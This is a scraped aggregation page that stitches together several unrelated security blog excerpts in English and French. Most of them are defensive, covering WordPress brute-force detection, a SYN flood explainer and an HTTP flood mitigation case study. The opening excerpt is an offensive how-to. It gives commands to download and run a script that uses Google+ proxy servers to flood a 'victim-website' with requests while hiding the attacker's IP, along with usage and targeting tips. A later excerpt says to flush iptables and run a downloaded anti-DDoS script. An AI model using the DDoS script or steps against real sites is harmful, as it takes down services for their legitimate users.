Databases, Systems & Networks

Recently we wrote about ApacheKiller that freezes Victim Server in seconds. While this new findings by IHTeam express that Google+ Servers can be use for DDoS attack. Lets talk about this ant script, Hey.. but it is worthy.

How DDoS Attack Using Google+ Servers works?

When you post a URL on your Google+ status it fetches URL Summary (It includes Image + Short description) using Google+ Proxy Servers.

Advisory report says;  vulnerable pages are “/_/sharebox/linkpreview/“  and “gadgets/proxy?“

So if you send multiple parallel requests with a big number e.g 1000 that can be turn into DDoS attack using Google+ Servers huge bandwidth.

How to use DDoS script to launch a DDoS attack Using Google+ Servers?

Download :
wget static.hackersgarage.com/ddos-using-google-servers.sh.hackersgarage.com

Make it shorter :
mv ddos-using-google-servers.sh.hackersgarage.com ddos.sh

Make it executable :
chmod u+x ddos.sh

Example of Usage :
./ddos.sh http://www.victim-website.com/some-file-url/file-name.mp3 1000

Now, lets look at this example :
It is recommended to find a full path to some big file which is downloadable without requesting for CAPTCHA.

e.g http://www.victim-website.com/some-file-url/file-name.mp3

NOTE : Make sure your workstation is capable to handle this huge number else your workstation will freeze and you will have to force fully restart your own workstation ?

e.g 1000 is very big number.

You will see anonymous source instead of Real Source IP:
See sample apache webserver log below

209.85.228.85 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.226.88 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.228.90 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.226.91 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.226.81 - - [31/Aug/2011:15:34:18 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.228.86 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
74.125.152.84 - - [31/Aug/2011:15:34:21 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
74.125.152.81 - - [31/Aug/2011:15:34:33 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"

You can also access it in browser to remain anonymous using below example URL (replace URL with your own choice) :

https://images1-focus-opensocial.googleusercontent.com/gadgets/proxy?url=http://www.Hackersgarage.com&container=none

Source: hackersgarage.com

If you are under a DOS or DDOS attack and running out of your mind or don’t know what to do, use this script to get ride of this panic situation.

DoS or DDoS is an attempt to make a victim website unavailable by creating hundreds to hundreds thousands of established connections that overflow victim resources and makes a website unavailable to the genuine users/visitors.

Short and useful slide that definite this script can be view on slideshare

You can run script to mitigate a low level ddos attack some how while and can stop DOS attack completely. This script is available under GPL license from the author.

How to mitigate DoS or DDoS attack?

Stop or flush other rules for now :

service apf stop
iptables -F
wget http://www.hackersgarage.com/wp-content/uploads/2011/08/antiDDoS.txt
mv antiDDoS.txt antiDDoS.sh
chmod u+x antiDDoS.sh
./antiDDoS.sh

Some other useful commands to analyze the type of attacks :

netstat -antp | grep ESTABLISHED
netstat -antp | grep -i sync
netstat --help

Source: hackersgarage.com

If you run a wordpress blog these days, you are likely to experience brute force attacks where nefarious individuals attempt to break in to your website by quickly a list of userids and passwords against your wp-login.php.  Here’s how I automated detection and blocking of WordPress brute force login attacks.

Detecting a WordPress Brute Force Attack

One can typically detect a wordpress brute force attack by parsing through your webserver’s access_log file.  The access_log file records all of the access requests that a web server handles.  A brute force attack typically will have frequent and numerous attempts to the wp-login.php file as shown below:

Example:  In the access_log file below, we detect a brute force login attack on our WordPress blog.  We detected it by noticing frequent and constant requests to the wp-login.php file.

31.192.210.159 - - [11/Sep/2014:02:01:43 +0000] "POST http://www.uptimemadeeasy.com/wp-login.php HTTP/1.1" 200 3389 "http://www.uptimemadeeasy.com/wp-login.php" "Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
31.192.210.159 - - [11/Sep/2014:02:01:44 +0000] "POST http://www.uptimemadeeasy.com/wp-login.php HTTP/1.1" 200 3389 "http://www.uptimemadeeasy.com/wp-login.php" "Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
31.192.210.159 - - [11/Sep/2014:02:01:45 +0000] "POST http://www.uptimemadeeasy.com/wp-login.php HTTP/1.1" 200 3389 "http://www.uptimemadeeasy.com/wp-login.php" "Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
31.192.210.159 - - [11/Sep/2014:02:01:47 +0000] "POST http://www.uptimemadeeasy.com/wp-login.php HTTP/1.1" 200 3389 "http://www.uptimemadeeasy.com/wp-login.php" "Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
31.192.210.159 - - [11/Sep/2014:02:01:49 +0000] "POST http://www.uptimemadeeasy.com/wp-login.php HTTP/1.1" 200 3389 "http://www.uptimemadeeasy.com/wp-login.php" "Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
31.192.210.159 - - [11/Sep/2014:02:01:50 +0000] "POST http://www.uptimemadeeasy.com/wp-login.php HTTP/1.1" 200 3389 "http://www.uptimemadeeasy.com/wp-login.php" "Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
31.192.210.159 - - [11/Sep/2014:02:01:51 +0000] "POST http://www.uptimemadeeasy.com/wp-login.php HTTP/1.1" 200 3389 "http://www.uptimemadeeasy.com/wp-login.php" "Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
31.192.210.159 - - [11/Sep/2014:02:01:52 +0000] "POST http://www.uptimemadeeasy.com/wp-login.php HTTP/1.1" 200 3389 "http://www.uptimemadeeasy.com/wp-login.php" "Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
31.192.210.159 - - [11/Sep/2014:02:01:54 +0000] "POST http://www.uptimemadeeasy.com/wp-login.php HTTP/1.1" 200 3389 "http://www.uptimemadeeasy.com/wp-login.php" "Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
31.192.210.159 - - [11/Sep/2014:02:01:55 +0000] "POST http://www.uptimemadeeasy.com/wp-login.php HTTP/1.1" 200 3389 "http://www.uptimemadeeasy.com/wp-login.php" "Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"

Typically in an event like this, I lookup the IP address in the ARIN database as I showed in a previous article:  What Personal Information Can You Get From Your Web Server?  Frequently, I find that the address is from APAC or RIPE addresses.

Lire la suite…

1 – Le concept

L’attaque SynFlood est basée sur l’envoi massif de demande d’ouverture de session TCP. Les buts recherchés peuvent être :

• Le Buffer Overflow du process écoutant le port TCP de destination.
• La saturation du nombre d’ouverture de session TCP en cours.

2 – Le fonctionnement

2.1 – Schéma

2.2 – Envoi du SYN

Le fonctionnement est de générer une trame TCP de demande de synchronisation à destination de la cible. Cette demande de synchronisation SYN est la première étape d’une ouverture de session TCP. Voici le schéma de l’entête TCP avec ce fameux flag SYN basé sur 1 bit :

Les 5 autres flags doivent être positionnés à 0.

2.3 – Réception par la cible A

La cible recevant la synchronisation TCP mémorise cette demande nécessitant donc de la mémoire et du processeur. Voici l’état des connexions d’un Windows XP avant la réception d’un Synflood :

Et voici après la réception des demandes de SYN :

La cible passe les requêtes reçues en SYN_RECEIVED. Cet état est temporaire, le temps de durée de vie est variable en fonction de la pile IP.

Dans mon exemple, la cible tourne sur une station XP limitée en nombre de sessions simultanée. Ceci ayant pour conséquence l’indisponibilité temporaire du port ciblé.

* testé depuis la machine ayant effectuée le Synflood

Lire la suite…

There are many types of Distributed Denial of Service (DDOS) attacks that can affect and bring down a website, and they vary in complexity and size. The most well known attacks are the good old SYN-flood, followed by the Layer 3/4 UDP and DNS amplification attacks.

Today though, we’re going to spend a little time looking at Layer 7, or what we call an HTTP Flood Attack.

An HTTP flood attack is a type of Layer 7 application attack that utilizes the standard valid GET/POST requests used to fetch information, as in typical URL data retrievals (images, information, etc.) during SSL sessions. An HTTP GET/POST flood is a volumetric attack that does not use malformed packets, spoofing or reflection techniques. – DDoSAttacks.biz

If you’re wondering, yes, we deal with these every day, and we protect our client websites via our Website Firewall.

Today I’m going to share with you some details on a rather large DDoS attack that leveraged the following HTTP request flood attack to wreak havoc on a clients website. I’ll also share the steps we took to mitigate the issue.

Layer 7 DDoS – HTTP Flood Attacks

The first thing to understand about Layer 7 attacks is that they require more understanding about the website and how it operates. The attacker has to do some homework and create a specially crafted attack to achieve their goal. Because of this, these types of DDoS attacks require less bandwidth to take the site down and are harder to detect and block.

Layer 7 DDoS – Part 1: Random URLs

This specific client came to us after his site was down for almost a week. They tried other services to protect their website with not much luck. As soon as he switched his DNS to us, we gained a much deeper appreciation and started to see why.

He was getting thousands of requests like these every second:

75.118.29.205 - - [20/Jan/2014:19:32:06 -0500] "GET /?458739416183768700 HTTP/1.1" 200 440 "http://movies.netflix.com/WiPlayer?movieid=70136122&trkid=7882978&t=Weeds" ""
173.245.56.201 - - [20/Jan/2014:19:32:06 -0500] "GET /?458726993617499500 HTTP/1.1" 200 440 "http://landing.pcwhatsap.com/1/?offer_id=3534&aff=1788&url_id=5618&sub_id=whatsapp_pop" ""
79.19.41.22 - - [20/Jan/2014:19:32:06 -0500] "GET /?458741338856272200 HTTP/1.1" 200 440 "http://www.rumoreweb.it/index.php?option=com_news_portal&view=category&id=21&Itemid=259" ""
190.121.64.3 - - [20/Jan/2014:19:32:06 -0500] "GET /?458722169268652700 HTTP/1.1" 200 440 "http://www.eldivisadero.cl/noticias/?task=show&id=37352" ""
186.54.141.146 - - [20/Jan/2014:19:32:06 -0500] "GET /?458741274224646000 HTTP/1.1" 200 440 "http://badoo.com/01244944965/?r=37.4&p=1" ""

To be more exact, he was getting 5,233 HTTP requests every single second. From different IP addresses around the world.

What is important to note here is how this worked against the client’s platform. The client’s website was built on WordPress. The uniqueness of the requests were bypassing the caching system, forcing the system to render and respond to every request. This was bringing about system failures as the server quickly became overwhelmed by the requests.

For illustration purposes, here is a quick geographic distribution of the IP’s hitting the site. This is for 1 second in the attack. Yes, every second these IP’s were changing.

Stopping the DDoS: Once we identified the type of attack, blocking was easy enough. By default, they were not passing our anomaly check, causing the requests to get blocked at the firewall. One of the many anomalies we look for are valid user agents, and if you look carefully you see that the requests didn’t have one. Hopefully, you’ll also noticed that the referrers were dynamic and the packets were the same size, another very interesting signature. Needless to say, this triggered one of our rules, and within minutes his site was back and the attack blocked.

Lire la suite…